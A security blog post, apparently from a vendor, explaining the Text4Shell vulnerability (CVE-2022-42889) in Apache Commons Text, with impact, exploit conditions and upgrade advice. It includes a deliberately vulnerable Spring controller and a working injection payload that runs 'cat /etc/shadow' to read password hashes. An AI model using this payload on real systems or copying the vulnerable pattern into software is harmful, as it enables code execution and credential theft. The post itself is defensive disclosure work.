Skip to main content

Text4Shell: A Vulnerability in Java library Apache Commons Text (CVE-2022-42889, Act4Shell)

· 6 min read
Free Wortley
Text4Shell Logo

What is Text4Shell?

Text4Shell is a vulnerability in the Java library Apache Commons Text. This vulnerability, in specific conditions, allows an attacker to execute arbitrary code on the victim's machine (Remote Code Execution or "RCE"). The vulnerability was discovered by Alvaro Muñoz (aka pwntester) and announced publicly on October 13th

Text4Shell was officially assigned the CVE-2022-42889 identifier.

Note: While the vulnerability is also known as "Act4Shell", we'll be referring to it as "Text4Shell" in this article.

Who is impacted?

Applications that use the Apache Commons Text library (or that depend on libraries using it) are impacted.

While the name Text4Shell may suggest that this issue is as widespread Log4Shell vulnerability, that is fortunately not the case.

Text4Shell is more similar to Spring4Shell in that the conditions for exploitation require a vulnerable pattern in application code in addition to a vulnerable version of Apache Commons Text being present.

If only the vulnerable version of Apache Commons Text is present, but the vulnerable pattern doesn't also exist, the Text4Shell cannot be exploited.

We'll go into more detail about that in the next section, but we believe that the real-world impact of Text4Shell to be limited compared with Log4Shell.

Should you patch?

The vulnerable configuration is very uncommon in the public source code of that we've reviewed, which means that you're rather unlikely to be vulnerable to Text4Shell even if you're using a vulnerable version of Apache Commons Text.

That said, the devil is in the details, and we believe that you should either:

  • Review your code for usages of StringSubstitutor.createInterpolator() and StringLookupFactory.INSTANCE.interpolatorStringLookup().lookup() to verify that any calls aren't exploitable, or
  • You should upgrade to version 1.10+ of Apache Commons Text.

Even though it's unlikely that you're vulnerable, this is an RCE vulnerability. And, not only is it an RCE, but it's one that's even easier to exploit that Log4Shell was (there is no network round trip to fetch a Java bytecode from an LDAP service).

If you'd like to check if you're vulnerable to Text4Shell (including if new bypasses are found), you can configure LunaTrace for free to run in your CI and get alerted automatically.

For additional ways to detect Text4Shell, we'll be providing links to other resources at the bottom of this article too.

info

If you find any additional attack vectors, we'd encourage you to open a Pull Request against this blog post directly! You may also let us know via Twitter and email too.

Exploit Conditions

All the following conditions must be met for Text4Shell to be exploitable:

  • Apache Commons Text version 1.5 through 1.9 are vulnerable (version 1.10 includes a fix),
  • The application must use StringSubstitutor in a vulnerable configuration (see POC code below),
  • The application must accept arbitrary, attacker controlled input for exploitation to be possible,
  • All versions of the JDK are vulnerable (early reports suggest JDK versions 15+ are safe, but new POCs have been released that work on JDK 15+).

Proof-of-Concept Code

There are a few excellent resources available for this vulnerability already, including the original GitHub Advisory and a Docker POC on GitHub, and this post will just be consolidating the information in those resources together.

The following code snippet is a proof-of-concept that demonstrates how the vulnerability can be exploited.

/**
* Example of how to exploit Text4Shell vulnerability (CVE-2022-42889).
* A simple Java web server application using the Spring framework based on:
* https://github.com/karthikuj/cve-2022-42889-text4shell-docker
*/

// Import the vulnerable class from Apache Commons Text
import org.apache.commons.text.StringSubstitutor;

import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
@RequestMapping("text4shell")
public class ExampleVulnerableText4ShellController {

@RequestMapping(value = "/vulnerable", method = RequestMethod.GET)
@ResponseBody
public String vulnerable(
// The default value of this parameter is used to demonstrate the vulnerability
@RequestParam(defaultValue="${script:javascript:java.lang.Runtime.getRuntime().exec('cat /etc/shadow')}")
String requestInput
) {
// This is the vulnerable method imported from Apache Commons Text.
StringSubstitutor interpolator = StringSubstitutor.createInterpolator();

// This line triggers the exploit
interpolator.replace(requestInput);

return "an empty response";
}
}

Exploit Steps

The following steps demonstrate how the vulnerability can be exploited:

  1. The attacker sends a request to the vulnerable endpoint with the following payload: http://localhost:8080/vulnerable?requestInput=${script:javascript:java.lang.Runtime.getRuntime().exec('cat /etc/shadow')}
  2. The request parameter, requestInput, ${script:javascript:java.lang.Runtime.getRuntime().exec('cat /etc/shadow')}, is passed to the StringSubstitutor class, which is vulnerable to the exploit.
  3. The StringSubstitutor.replace() method executes the payload which runs cat /etc/shadow and returns the contents of the shadow file.
  4. At this point, the attacker can execute any command they want here, not just cat /etc/shadow. This is just an example of how the exploit can be used to execute arbitrary code on the victim's machine.

Research Notes

We've done a deep dive into testing vulnerable configurations (our notes + test env), and we don't believe that more common configurations involving setEnableSubstitutionInVariables(true) or (new StringSubstitor(values)).replace(attackerInput) can lead to exploitation because they don't by default interpret ${script:*} calls.

How to fix Text4Shell

The simplest fix is to upgrade to Apache Commons Text version 1.10 or later.

If you're unable to upgrade, please join us on Discord, where we can help you find a workaround.

For help determining if you're affected by this vulnerability, or to determine if you're using Vendor software that may be vulnerable, please see the resources below to help you scan for Text4Shell across your stack.

Additional Resources

Stay Informed

If you'd like to stay up to date on the latest vulnerabilities, you can join our mailing list below or follow us on Twitter.

Have Questions?

You're welcome to reach out to us if you need help by joining our Discord or by emailing us. You can also edit this post on GitHub to suggest changes.

References

First of all, we just want to say thank you to Alvaro Muñoz (aka pwntester) and the Apache Commons Text team for their work on resolving this security issue.

Updates

  1. 2022-10-19 @ 4pm PDT: Initial post.
  2. 2022-10-19 @ 4:30pm PDT: Fixed typos and added more resources.
  3. 2022-10-19 @ 5pm PDT: Adding logo.
  4. 2022-10-19 @ 6:35pm PDT: Updating text in Impacted section.
  5. 2022-10-19 @ 9pm PDT: Fixed broken example code. Added clarifying section about what is required for exploitation.
  6. 2022-10-20 @ 5pm PDT: Added research notes and clarified language.